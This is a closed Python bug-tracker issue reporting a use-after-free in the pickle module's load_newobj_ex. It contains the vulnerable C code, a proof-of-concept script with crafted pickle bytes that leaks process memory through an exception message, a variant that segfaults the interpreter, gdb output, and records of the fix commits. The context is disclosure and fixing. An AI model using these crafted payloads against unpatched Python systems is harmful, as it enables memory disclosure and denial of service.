This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

classification
Title: use after free in load_newobj_ex
Type: crash Stage: resolved
Components: Extension Modules Versions: Python 3.6, Python 3.4, Python 3.5
process
Status: closed Resolution: fixed
Dependencies: Superseder:
Assigned To: Nosy List: Arfrever, benjamin.peterson, python-dev, vstinner
Priority: critical Keywords:

Created on 2015-07-02 21:17 by benjamin.peterson, last changed 2022-04-11 14:58 by admin. This issue is now closed.

Messages (4)
msg246098 - (view) Author: Benjamin Peterson (benjamin.peterson) * (Python committer) Date: 2015-07-02 21:17
From Kurucsai Istvan on the security list:

I. Summary

There is a use-after-free in the load_newobj_ex function in _pickle.c that results in an arbitrary read.


II. Source code

The functions in question:
static int
load_newobj_ex(UnpicklerObject *self)
{
    PyObject *cls, *args, *kwargs;
    PyObject *obj;
    PickleState *st = _Pickle_GetGlobalState();

    PDATA_POP(self->stack, kwargs);
    if (kwargs == NULL) {
        return -1;
    }
    PDATA_POP(self->stack, args);
    if (args == NULL) {
        Py_DECREF(kwargs);
        return -1;
    }
    PDATA_POP(self->stack, cls);
    if (cls == NULL) {
        Py_DECREF(kwargs);
        Py_DECREF(args);
        return -1;
    }

1.  if (!PyType_Check(cls)) {
        Py_DECREF(kwargs);
        Py_DECREF(args);
2.      Py_DECREF(cls);
        PyErr_Format(st->UnpicklingError,
                     "NEWOBJ_EX class argument must be a type, not %.200s",
3.                   Py_TYPE(cls)->tp_name);
        return -1;
    }

1. if cls is not a type object.
2. cls and its type object are freed.
3. Py_TYPE(cls)->tp_name is controlled after the free due to Python memory management internals, allowing arbitrary memory addresses to be leaked in the exception text.


III. Proof of concept

The following PoC demonstrates the bug by leaking the beginning of the ELF header of the python binary by using the following pickle:
    0: F    FLOAT      -17.0
    5: G    BINFLOAT   4.850517136297445e-270
   14: \x8a LONG1      -19433009197182618361932444855909718650799116435779157138706600511804357054621081254113158779140316034172772336611031765078550355689018943570873089549265771354179136777133140299700701757440
   94: \x92 NEWOBJ_EX
   95: .    STOP
highest protocol among opcodes = 4

root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex.py 
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address, beginning of the ELF header of the python binary
b += b"\x08\x04\x80\x00"
b +=  b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# file python
python: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e1a1b72a0e3093b61de9de9bb58b3ca031aeb9b6, not stripped
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python
Python 3.6.0a0 (default, Jun 29 2015, 22:03:19) 
[GCC 4.8.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python /opt/newobj_ex.py 
Traceback (most recent call last):
  File "/opt/newobj_ex.py", line 4, in <module>
    pickle.loads(b)
_pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not ELF
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# 


By changing the read address, a segfault can be triggered:

root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex_crash.py 
import pickle
b = b"\x46\x2D\x31\x37\x0A\x47"
# read address
b += b"\x41\x41\x41\x41"
b +=b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92."
pickle.loads(b)
root@tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# gdb --silent ./python                            
Reading symbols from ./python...done.
(gdb) r /opt/newobj_ex_crash.py 
Starting program: /opt/cpython/cpython-d792dc240456-150629/python /opt/newobj_ex_crash.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x081431dd in unicode_fromformat_write_cstr (writer=writer@entry=0xffffd11c, str=0x41414141 <error: Cannot access memory at address 0x41414141>, width=width@entry=-1, precision=precision@entry=200) at Objects/unicodeobject.c:2368
2368	    length = strlen(str);
(gdb) bt
#0  0x081431dd in unicode_fromformat_write_cstr (writer=writer@entry=0xffffd11c, str=0x41414141 <error: Cannot access memory at address 0x41414141>, width=width@entry=-1, precision=precision@entry=200) at Objects/unicodeobject.c:2368
#1  0x08143a2a in unicode_fromformat_arg (writer=writer@entry=0xffffd11c, f=0xf7b9f632 "s", f@entry=0xf7b9f62d "%.200s", vargs=vargs@entry=0xffffd118) at Objects/unicodeobject.c:2583
#2  0x08144018 in PyUnicode_FromFormatV (format=<optimized out>, format@entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", vargs=vargs@entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001")
    at Objects/unicodeobject.c:2701
#3  0x0819badc in PyErr_FormatV (exception=exception@entry=<type at remote 0xf7bdfd8c>, format=format@entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", 
    vargs=vargs@entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001") at Python/errors.c:785
#4  0x0819b289 in PyErr_Format (exception=<type at remote 0xf7bdfd8c>, format=format@entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s") at Python/errors.c:802
#5  0xf7b9c4cb in load_newobj_ex (self=self@entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:5283
#6  0xf7b9d48c in load (self=self@entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:6186
#7  0xf7b9d809 in _pickle_loads_impl (module=module@entry=0xf7be22f4, 
    data=b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.', fix_imports=1, encoding=0xf7b9fa42 "ASCII", errors=0xf7b9fa48 "strict") at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:7132
#8  0xf7b9d955 in _pickle_loads (module=module@entry=0xf7be22f4, 
    args=args@entry=(b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.',), kwargs=kwargs@entry=0x0) at /opt/cpython/cpython-d792dc240456-150629/Modules/clinic/_pickle.c.h:543
<<SNIP>>
msg246099 - (view) Author: Roundup Robot (python-dev) (Python triager) Date: 2015-07-02 21:19
New changeset 24ce32d76376 by Benjamin Peterson in branch '3.4':
fix use after free (closes #24552)
https://hg.python.org/cpython/rev/24ce32d76376

New changeset 24197b5f7126 by Benjamin Peterson in branch '3.5':
merge 3.4 (#24552)
https://hg.python.org/cpython/rev/24197b5f7126

New changeset 32486bb59e7e by Benjamin Peterson in branch 'default':
merge 3.5 (#24552)
https://hg.python.org/cpython/rev/32486bb59e7e
msg246100 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2015-07-02 21:54
Buildbots are not happy. Example:

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.0%203.5/builds/57/steps/test/logs/stdio


======================================================================
ERROR: test_newobj_not_class (test.test_pickletools.OptimizedPickleTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.5.koobs-freebsd10/build/Lib/test/pickletester.py", line 1046, in test_newobj_not_class
    o = object.__new__(SimpleNewObj)
TypeError: object.__new__(SimpleNewObj) is not safe, use SimpleNewObj.__new__()

----------------------------------------------------------------------
msg246101 - (view) Author: Roundup Robot (python-dev) (Python triager) Date: 2015-07-02 21:59
New changeset 978bc1ff43a7 by Benjamin Peterson in branch '3.4':
use correct __new__ method (closes #24552)
https://hg.python.org/cpython/rev/978bc1ff43a7
History
Date User Action Args
2022-04-11 14:58:18adminsetgithub: 68740
2015-07-05 21:32:51Arfreversetnosy: + Arfrever
2015-07-02 21:59:22python-devsetstatus: open -> closed
resolution: fixed
messages: + msg246101
2015-07-02 21:54:40vstinnersetstatus: closed -> open

nosy: + vstinner
messages: + msg246100

resolution: fixed -> (no value)
2015-07-02 21:19:44python-devsetstatus: open -> closed

nosy: + python-dev
messages: + msg246099

resolution: fixed
stage: resolved
2015-07-02 21:17:46benjamin.petersoncreate